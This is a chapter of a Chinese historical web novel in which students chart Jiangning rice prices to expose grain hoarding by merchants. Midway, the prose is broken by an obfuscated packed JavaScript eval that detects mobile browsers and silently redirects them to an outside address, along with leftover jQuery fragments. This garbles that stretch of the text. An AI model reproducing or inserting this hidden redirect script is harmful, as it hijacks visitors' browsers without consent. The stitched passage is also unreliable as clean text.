从码头回来后的几天，林湛开始留意江宁的米价。


    起初只是随口问问。有日铁柱去买米，回来说：“怪了，东街‘陈记米铺’的粳米，前几日还一两二钱一石，今儿个涨到一两二钱五分了。”


    沈千机正在算账，闻言抬头：“秋粮上市，按说该跌价才对。你问清楚没？别是听错了。”


    “没听错！”铁柱较真，“我还特地跑了三家米铺问，‘陈记’一两二钱五，‘张记’一两二钱三，‘王记’还是一两二钱。掌柜的说，进货价涨了。”


    林湛放下书：“铁柱哥，你明日再去问问，把几家大点的米铺价格都记下来。”


    “记那干啥？”铁柱不解。


    “有用。”林湛没多说。


    第二天铁柱真去了，带回一张皱巴巴的纸，上面歪歪扭扭记着七八家米铺的价格，还有“新米”“陈米”的区别。林湛看了，若有所思。


    王砚之凑过来看：“确实蹊跷。按往年纪录，九月新米上市，米价该降。今年却稳中有升。”


    “或许北地旱情影响？”周文渊推测。


    沈千机摇头：“北旱是春旱，影响的是夏粮。秋粮若不受灾，不该波及这么广。再说，就算有影响，也该是北边涨，咱们江南怎么先涨了？”


    几人讨论不出结果。林湛却有了主意：“沈兄，你商号往来，可能弄到江宁府过去几年的米价纪录？”


    “这个……”沈千机想了想，“官府有‘时估册’，每月记录物价，但一般不对外。不过我认识几个老粮商，他们自己记账，或许能借来看看。”


    “那就劳烦沈兄了。”林湛道，“王兄，令尊在户房，能否找到官方的时估册？哪怕近一两年的也行。”


    王砚之点头：“我写信问问家父，应该能抄录一些。”


    李慕白知道后，也主动说：“家中有长辈在户部，我托人问问朝廷的《粮价奏报》，看看各省情况。”


    几方分头行动。沈千机效率最高，第三天就带回几本厚厚的账册——是相熟粮商历年进货出货的记录，虽然零散，但数据真实。


    王砚之的父亲也寄来了抄录的时估册，是江宁府过去三年的官方记录，每月一次，格式规整。


    李慕白那边需要时间，但答应尽快。


    林湛把所有人聚在自己斋舍，桌上摊满了账册、纸页。铁柱看得眼晕：“我的娘，这么多字……”


    “不是看字，是看数。”林湛拿了张空白宣纸，用炭条在上面打格子——横着十二格标月份，竖着标价格。这是最简易的坐标纸。


    沈千机好奇：“林兄这是要做什么？”


    “把数据画出来。”林湛边说边开始抄录，“看数字密密麻麻，不容易看出规律。画成线图，一目了然。”


    他先画最近三年的官方米价曲线。炭条在纸上移动，一条起伏的线渐渐成形：每年春季青黄不按时涨，夏收后跌，秋收后再跌，入冬后又缓涨，如此循环。


    “看，”林湛指着图，“三年走势基本一致，这就是‘季节性波动’。”


    周文渊凑近细看：“果然清晰。林兄这法子好，比看数字直观多了。”


    接着画粮商的记录。这些数据更细，甚至有每旬的价格。林湛又拿一张纸，画了今年的曲线。


    “不对劲。”他盯着图，“按往年规律，八月底就该开始跌了，但今年九月过半，价格还在缓涨。看这里——”他指着八月初的一个点，“这儿突然有个小高峰，然后回落，现在又爬升。”


    沈千机也看出了问题：“八月初那个高峰……我想起来了！那时正好是北旱消息传到江南的时候。但消息过后就该回落啊，怎么现在又涨？”


    “有人在囤货。”林湛放下炭条，“而且不是散户。你们看这几家米铺的价格变动——”他指着铁柱记录的那张纸，“‘陈记’涨得最狠，‘张记’次之，‘王记’没动。如果真是进货价涨，该全涨才对。这种分化，说明有人在大规模收购，但只针对某些米铺。”


    王砚之脸色凝重：“林兄是说……有粮商在趁机囤积，准备等冬春青黄不接时高价抛售？”


    “十有八九。”林湛道，“而且不止一家。能同时影响多家大铺子，必是联手行动。”


    铁柱终于听懂了：“那就是说……有人想赚黑心钱？等冬天米贵了，再拿出来卖高价？”


    “正是。”沈千机冷笑，“这帮人，消息最灵通。北边一旱，他们就知道江南粮价要涨，提前收购。等百姓真缺粮时，他们再抛售，赚的就是人命钱。”


    屋里气氛沉闷。窗外秋阳正好，斋舍里却像蒙了层阴影。


    良久，林湛又拿起炭条：“咱们继续。把这些数据都画出来，看看囤积的规模大概多大。”


    几人分工合作：王砚之核对官方数据，周文渊整理粮商记录，沈千机回忆商界传闻，铁柱继续跑腿打听最新价格。林湛则负责绘图。


    一张张坐标纸铺开，线条交错，像一张张无声的诉状。从这些曲线里，能看出某些大户何时开始收购、收购了多少、影响了多少米铺。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208737|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>李慕白这时也来了，带来一份抄录的《粮价奏报》。他一看满桌的图表，愣住了：“这是……”


    “李兄来得正好。”林湛接过那份奏报，“这是朝廷的数据吧？看看跟咱们的对不对得上。”


    一对比，果然吻合。朝廷记录显示，江南数府八月以来粮价异常，已引起户部注意，但结论是“北旱波及，市场自发调节”。


    “自发调节？”沈千机嗤笑，“是有人‘自发’囤货吧！”


    李慕白看着那些图表，神色越来越严肃：“林兄，这些图……可否让我抄一份？我想寄给家中长辈看看。”


    “当然。”林湛点头，“不过李兄，此事敏感。你家长辈在朝中，若以此进言，恐得罪人。”


    “我知道。”李慕白苦笑，“但若明知有人囤积居奇、祸害百姓而不言，那读书何用？”


    这话说得掷地有声。王砚之、周文渊都动容。


    铁柱忽然插话：“那……咱们能做点啥不？总不能干看着吧？”


    林湛看着满桌的图表，沉思片刻：“咱们现在能做的，就是继续观察、记录。等数据足够多，规律足够清晰，或许……可以写篇东西，让该知道的人知道。”


    他顿了顿：“但记住，咱们只是生员，没有实权。能做的有限，且务必谨慎。”


    几人点头。沈千机却眼珠一转：“我倒有个主意。我商号里有些伙计，可以让他们装作买米的，去各铺子打听存货情况、进货来源。这些信息，或许有用。”


    “好主意。”林湛赞道，“但要小心，别打草惊蛇。”


    接下来的日子，这个小圈子悄悄运转起来。铁柱每天跑腿记录价格，沈千机通过商号收集情报，王砚之、周文渊整理数据，林湛绘图分析，李慕白则负责与外界沟通、了解朝中动向。


    坐标纸越积越多，墙上都贴了几张。那些起伏的线条，像江宁城看不见的脉搏，记录着粮食在这座大城里如何流动、如何被操控。


    有天王砚之看着墙上的图，忽然感慨：“从前读史，见‘谷贵伤民’四字，只觉是书中事。如今看着这些线，才知每一分涨跌，背后都是百姓的饭碗。”


    周文渊则在小本子上记下：“以图观势，直观明了。此法或可推及他事——物价、赋税、人口……”


    铁柱还是不太懂那些弯弯绕绕的线，但他知道一点：“反正就是有人想抬高米价，让老百姓多花钱，对吧？这帮黑心肝的！”


    这话糙理不糙。沈千机拍拍他肩膀：“铁柱兄总结得精辟！”